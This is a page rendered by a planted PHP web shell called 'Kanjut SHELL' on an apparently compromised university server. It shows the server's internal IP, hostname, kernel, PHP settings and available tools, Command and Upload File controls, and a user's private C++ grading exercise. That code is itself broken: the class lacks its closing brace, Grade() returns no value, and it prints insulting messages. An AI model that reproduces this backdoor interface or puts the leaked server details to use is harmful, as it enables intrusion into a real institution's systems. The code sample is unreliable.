Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.145.91.111
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/grpatillo/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/grpatillo/stu.cpp
/*
*/

#include <iostream>

using namespace std;

// define a new type
class Student
{
private:
	string name;
	int scores[3];
public:
	Student()
	{	name = "xxx xxx"; scores[0]=0; scores[1]=0; scores[2]=0;	}
	void Set(string n, int s1, int s2, int s3)
	{	name = n; scores[0]=s1; scores[1]=s2; scores[2]=s3; }
	float avg()
	{	float t;
		t = (scores[0]+scores[1]+scores[2])/3.0;
		return t;
	}
	void Print()
	{	cout << "Avg: \n" << avg();	}	
	string Grade()
	{	if(avg() >= 90 && avg()<= 100)
			cout << "GOOD JOB. You got an A!!!" << endl;
		else if(avg() >= 80)
			cout << "Congrats. You got a B :)" << endl;
		else if(avg() >= 70)
			cout << "Stop partying and start studying. You                           passed with a C." << endl;
		else if(avg() >= 60)
			cout << "Your mom called... She said you suck at                         life :P" << endl;
		else if(avg() < 60)
 			cout << "Stop imitating President Bush!!!"                               << endl;	}
;

int main()
{
	Student me;
	me.Print();
	cout << "\n\n--------------------\n\n";
	string n;
	int s1, s2, s3;
	getline(cin, n);
	cin >> s1 >> s2 >> s3;	

	//cin >> me.name;		won't work, private 
	
	me.Set(n, s1, s2, s3);
	me.Print();
	me.Grade();
	
	cout << "\n\nDone.\n\n\n";
	return 0;
}

Stv3n404 - 2023